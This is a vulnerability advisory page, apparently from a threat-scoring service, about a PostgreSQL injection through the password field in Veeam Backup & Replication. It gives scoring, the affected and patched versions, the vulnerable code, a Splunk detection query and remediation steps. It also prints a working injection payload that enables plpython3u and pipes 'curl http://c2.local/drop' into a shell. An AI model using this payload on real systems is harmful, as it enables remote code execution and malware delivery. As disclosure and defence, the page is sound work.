Skip to content

CVE-2025-59468: PostgreSQL Remote Code Execution via Malicious Password Parameter in Veeam Backup & Replication

HERMES

HERMES THREAT SCORE & CREDENTIAL ENGINE RISK

Target: Veeam Backup & Replication Credentials Storage Subsystem
Confidence: 98%
90 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 16 / 20
Weaponization 19 / 20
Exposure 16 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

Hermes assesses CVE-2025-59468 at 90 (CRITICAL). While credential creation requires administrative privileges on the console, this injection escapes application logic to execute code directly within the underlying PostgreSQL tier. It empowers adversaries to establish out-of-band persistence and bypass graphical interface audit trails.

🕸️ Connected Knowledge Graph & Provenance

CVE-2025-59468: PostgreSQL Remote Code Execution via Malicious Password Parameter in Veeam Backup & ReplicationVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTVeeam Backup & Replication
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”

Supporting Verified Evidence:

MetricTechnical SpecificationOperational Impact
CVE IdentifierCVE-2025-59468Standardized vulnerability record
Vendor AdvisoryVeeam KB4716Cumulative security update for VBR v13
Target SubsystemCredentials Manager & Storage EngineInfrastructure secrets vault
Affected ReleasesVBR 13.x $\le$ 13.0.1.180PostgreSQL-backed deployments
Patched ReleaseVeeam Backup & Replication 13.0.1.1071Recommended remediation
Required PrivilegeBackup Administrator (Authenticated)Administrative access to VBR
Resulting Accesspostgres Service AccountDatabase RCE and host execution

Prior to encryption and storage, a verification query cached the raw credential attributes in a temporary table using dynamic string interpolation:

// Conceptual representation of the defect:
string insertSql = $"INSERT INTO temp_credentials (user_id, raw_entropy, test_hash) VALUES ('{userId}', '{passwordInput}', '{hash}')";

Supplying an injected password such as:

P@ssword123'; CREATE EXTENSION IF NOT EXISTS plpython3u; DO $$ import os; os.system('curl http://c2.local/drop | sh') $$; --

causes PostgreSQL to execute the statement chain, triggering shell command execution via procedural extensions.


Splunk Query for PostgreSQL Procedural Abuse

Section titled “Splunk Query for PostgreSQL Procedural Abuse”
index=postgresql_logs ("CREATE EXTENSION" OR "COPY" OR "DO $$")
(query="*temp_credentials*" OR query="*credentials*")
| table _time user database query client_addr
  1. Deploy KB4716: Upgrade to Veeam Backup & Replication 13.0.1.1071.
  2. Audit Administrative Access: Enforce multi-person authorization for infrastructure credentials management.
  3. Database Audit Logging: Enable pgaudit to capture anomalous DDL execution.